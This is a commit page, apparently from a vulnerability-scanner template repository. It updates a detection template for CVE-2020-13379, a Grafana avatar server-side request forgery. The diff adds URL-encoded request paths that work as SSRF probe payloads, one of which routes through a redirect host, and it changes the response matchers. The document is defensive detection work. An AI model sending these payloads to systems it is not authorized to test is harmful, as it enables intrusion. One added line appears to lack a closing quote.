Update CVE-2020-13379.yaml
The old matching using status code 502 returned false positive when the endpoint is already having a bad gateway. Going through the report here https://hackerone.com/reports/878779 and video https://www.youtube.com/watch?v=NWHOmYbLrZ0 , the path has been rewritten and matched with respective image/jpeg as explained in the pocpatch-1
parent
9ab73d6c5e
commit
3da6c533f0
|
@ -13,10 +13,12 @@ info:
|
|||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
|
||||
- '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
|
||||
- "{{BaseURL}}/"
|
||||
- '{{BaseURL}}/avatar/test%3fd%3dredirect.example.com%25253f%253b%252fbp.blogspot.com%252f
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 502
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "image/jpeg"
|
||||
part: header
|
||||
|
|
Loading…
Reference in New Issue